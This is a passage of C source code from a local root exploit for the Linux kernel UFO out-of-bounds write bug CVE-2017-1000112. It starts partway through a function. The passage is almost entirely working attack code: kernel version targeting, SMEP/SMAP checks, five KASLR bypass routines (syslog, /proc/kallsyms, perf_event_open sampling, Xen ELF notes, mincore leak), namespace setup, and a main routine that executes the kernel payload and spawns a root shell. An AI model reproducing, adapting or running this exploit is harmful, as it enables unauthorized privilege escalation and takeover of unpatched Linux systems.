dprintf("[.] kernel version '%s' detected\n", kernels[i].version); kernel = i; return; } } dprintf("[-] kernel version '%s' not recognized\n", u.release); exit(EXIT_FAILURE); } #define PROC_CPUINFO_LENGTH 4096 // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP int smap_smep_enabled() { char buffer[PROC_CPUINFO_LENGTH]; char* path = "/proc/cpuinfo"; int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { dprintf("[-] open/read(%s): %m\n", path); exit(EXIT_FAILURE); } int rv = 0; char* found = memmem(&buffer[0], length, "smep", 4); if (found != NULL) rv += 1; found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) rv += 2; return rv; } void check_smep_smap() { int rv = smap_smep_enabled(); if (rv >= 2) { dprintf("[-] SMAP detected, no bypass available\n"); exit(EXIT_FAILURE); } #if !ENABLE_SMEP_BYPASS if (rv >= 1) { dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); exit(EXIT_FAILURE); } #endif } // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * #if ENABLE_KASLR_BYPASS_SYSLOG #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 int mmap_syslog(char** buffer, int* size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n"); return 0; } *size = (*size / getpagesize() + 1) * getpagesize(); *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n"); return 0; } return 1; } unsigned long get_kernel_addr_trusty(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) return 0; int start = 0; int end = 0; for (end = start; substr[end] != '-'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) return 0; char* endptr = &substr[16]; unsigned long addr = strtoul(&substr[0], &endptr, 16); addr &= 0xffffffffff000000ul; if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) return addr; return 0; } unsigned long get_kernel_addr_xenial(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) return 0; int start = 0; int end = 0; for (start = 0; substr[start] != '-'; start++); for (end = start; substr[end] != '\n'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) return 0; char* endptr = &substr[16]; unsigned long addr = strtoul(&substr[0], &endptr, 16); addr &= 0xfffffffffff00000ul; addr -= 0x1000000ul; if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) return addr; return 0; } unsigned long get_kernel_addr_syslog() { unsigned long addr = 0; char* syslog; int size; dprintf("[.] trying syslog...\n"); if (!mmap_syslog(&syslog, &size)) return 0; if (strcmp("trusty", kernels[kernel].distro) == 0) addr = get_kernel_addr_trusty(syslog, size); if (strcmp("xenial", kernels[kernel].distro) == 0) addr = get_kernel_addr_xenial(syslog, size); if (!addr) dprintf("[-] kernel base not found in syslog\n"); return addr; } #endif // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * // https://grsecurity.net/~spender/exploits/exploit.txt #if ENABLE_KASLR_BYPASS_KALLSYMS unsigned long get_kernel_addr_kallsyms() { FILE *f; unsigned long addr = 0; char dummy; char sname[256]; char* name = "startup_64"; char* path = "/proc/kallsyms"; dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s): %m\n", path); return 0; } int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } #endif // * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * * // https://blog.lizzie.io/kaslr-and-perf.html #if ENABLE_KASLR_BYPASS_PERF int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); } unsigned long get_kernel_addr_perf() { int fd; pid_t child; dprintf("[.] trying perf_event_open sampling...\n"); child = fork(); if (child == -1) { dprintf("[-] fork() failed: %m\n"); return 0; } if (child == 0) { struct utsname self = {0}; while (1) uname(&self); return 0; } struct perf_event_attr event = { .type = PERF_TYPE_SOFTWARE, .config = PERF_COUNT_SW_TASK_CLOCK, .size = sizeof(struct perf_event_attr), .disabled = 1, .exclude_user = 1, .exclude_hv = 1, .sample_type = PERF_SAMPLE_IP, .sample_period = 10, .precise_ip = 1 }; fd = perf_event_open(&event, child, -1, -1, 0); if (fd < 0) { dprintf("[-] syscall(SYS_perf_event_open): %m\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } uint64_t page_size = getpagesize(); struct perf_event_mmap_page *meta_page = NULL; meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (meta_page == MAP_FAILED) { dprintf("[-] mmap() failed: %m\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) { dprintf("[-] ioctl failed: %m\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } char *data_page = ((char *) meta_page) + page_size; size_t progress = 0; uint64_t last_head = 0; size_t num_samples = 0; unsigned long min_addr = ~0; while (num_samples < 100) { /* is reading from the meta_page racy? no idea */ while (meta_page->data_head == last_head);; last_head = meta_page->data_head; while (progress < last_head) { struct __attribute__((packed)) sample { struct perf_event_header header; uint64_t ip; } *here = (struct sample *) (data_page + progress % page_size); switch (here->header.type) { case PERF_RECORD_SAMPLE: num_samples++; if (here->header.size < sizeof(*here)) { dprintf("[-] size too small.\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } uint64_t prefix; if (strstr(kernels[kernel].version, "4.8.0-")) { prefix = here->ip & ~0xfffff; } else { prefix = here->ip & ~0xffffff; } if (prefix < min_addr) min_addr = prefix; break; case PERF_RECORD_THROTTLE: case PERF_RECORD_UNTHROTTLE: case PERF_RECORD_LOST: break; default: dprintf("[-] unexpected perf event: %x\n", here->header.type); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } progress += here->header.size; } /* tell the kernel we read it. */ meta_page->data_tail = last_head; } if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return min_addr; } #endif // * * * * * * * * * Kernel ELF Notes Xen Entry KASLR bypass * * * * * * * * * * // https://github.com/Nassim-Asrir/ZDI-24-020/blob/a267e27f5868a975e767794cf77b3092acff4a26/exploit.c#L421 #if ENABLE_KASLR_BYPASS_XEN_ENTRY unsigned long get_kernel_addr_xen_entry() { int fd; unsigned int namesz, descsz, type, pad; char name[256]; char desc[256]; unsigned long addr = 0; dprintf("[.] trying /sys/kernel/notes ...\n"); fd = open("/sys/kernel/notes", O_RDONLY); if (fd < 0) { dprintf("[-] open(/sys/kernel/notes): %m"); close(fd); return 0; } while (1) { if (read(fd, &namesz, sizeof namesz) != sizeof namesz) break; if (namesz == 0) continue; if (namesz > sizeof name) break; if (read(fd, &descsz, sizeof descsz) != sizeof descsz) break; if (descsz == 0) continue; if (descsz > sizeof desc) break; if (read(fd, &type, sizeof type) != sizeof type) break; if (read(fd, &name, namesz) < 0) break; if (read(fd, &desc, descsz) < 0) break; /* we're only interested in Xen pointers */ if (strcmp(name, "Xen") == 0 && type == 2 && descsz == sizeof(char *)) { addr = *(unsigned long *)&desc; // dprintf("[.] leaked hypercall_page address: %lx\n", addr); break; } pad = 4 - ((namesz + descsz) % 4); if (pad < 4) if (read(fd, &name, pad) < 0) break; } close(fd); if (!addr) { dprintf("[-] Could not find Xen address in kernel ELF notes\n"); return 0; } addr &= 0xfffffffffff00000ul; if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) return addr; dprintf("[-] Invalid Xen address in ELF notes: %lx\n", addr); return 0; } #endif // * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * // https://bugs.chromium.org/p/project-zero/issues/detail?id=1431 #if ENABLE_KASLR_BYPASS_MINCORE unsigned long get_kernel_addr_mincore() { unsigned char buf[getpagesize() / sizeof(unsigned char)]; unsigned long iterations = 20000000; unsigned long addr = 0; dprintf("[.] trying mincore info leak...\n"); if (strstr(kernels[kernel].version, "4.8.0-")) { dprintf("[-] target kernel does not permit mincore info leak\n"); return 0; } /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { dprintf("[-] mmap: %m()\n"); return 0; } int i; for (i = 0; i <= iterations; i++) { /* Touch a mishandle with this type mapping */ if (mincore((void*)0x86000000, 0x1000000, buf)) { dprintf("[-] mincore(): %m\n"); return 0; } int n; for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) { addr = *(unsigned long*)(&buf[n]); /* Kernel address space */ if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) { addr &= 0xffffffffff000000ul; if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap(): %m\n"); return addr; } } } if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap(): %m\n"); dprintf("[-] kernel base not found in mincore info leak\n"); return 0; } #endif // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * unsigned long get_kernel_addr() { unsigned long addr = 0; #if ENABLE_KASLR_BYPASS_KALLSYMS addr = get_kernel_addr_kallsyms(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_SYSLOG addr = get_kernel_addr_syslog(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_PERF addr = get_kernel_addr_perf(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_XEN_ENTRY addr = get_kernel_addr_xen_entry(); if (addr) return addr; #endif #if ENABLE_KASLR_BYPASS_MINCORE addr = get_kernel_addr_mincore(); if (addr) return addr; #endif dprintf("[-] KASLR bypass failed\n"); exit(EXIT_FAILURE); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * static int write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return 0; if (write(fd, buf, len) != len) { close(fd); return 0; } close(fd); return 1; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { dprintf("[!] unprivileged user namespaces are not available\n"); dprintf("[-] unshare(CLONE_NEWUSER): %m\n"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { dprintf("[-] unshare(CLONE_NEWNET): %m\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { dprintf("[-] write_file(/proc/self/set_groups)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { dprintf("[-] write_file(/proc/self/uid_map)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { dprintf("[-] write_file(/proc/self/gid_map)\n"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { dprintf("[-] sched_setaffinity(): %m\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo mtu 1500") != 0) { dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { dprintf("[-] system(/sbin/ifconfig lo up)\n"); exit(EXIT_FAILURE); } } void exec_shell() { int fd; fd = open("/proc/1/ns/net", O_RDONLY); if (fd == -1) { dprintf("[-] open(/proc/1/ns/net): %m\n"); exit(EXIT_FAILURE); } if (setns(fd, CLONE_NEWNET) == -1) { dprintf("[-] error calling setns: %m\n"); exit(EXIT_FAILURE); } system(SHELL); } int is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return 0; close(fd); return 1; } void check_root() { dprintf("[.] checking if we got root\n"); if (!is_root()) { dprintf("[-] something went wrong =(\n"); return; } dprintf("[+] got r00t ^_^\n"); exec_shell(); } int main(int argc, char** argv) { if (argc > 1) SHELL = argv[1]; dprintf("Linux Kernel UDP Fragmentation Offset (UFO) out-of-bounds write local root (CVE-2017-1000112)\n"); dprintf("[.] checking kernel version...\n"); detect_versions(); dprintf("[~] done, version looks good\n"); #if ENABLE_SYSTEM_CHECKS dprintf("[.] checking system...\n"); check_env(); check_smep_smap(); dprintf("[~] done, looks good\n"); #endif dprintf("[.] setting up namespace sandbox...\n"); setup_sandbox(); dprintf("[~] done, namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel base address...\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[~] done, kernel base: %lx\n", KERNEL_BASE); #endif dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); unsigned long payload = (unsigned long)&get_root; #if ENABLE_SMEP_BYPASS dprintf("[.] SMEP bypass enabled, mmapping fake stack...\n"); mmap_stack(); payload = XCHG_EAX_ESP_RET; dprintf("[~] done, fake stack mmapped\n"); #endif dprintf("[.] executing payload %lx\n", payload); oob_execute(payload); dprintf("[~] done, should be root now\n"); check_root(); return 0; }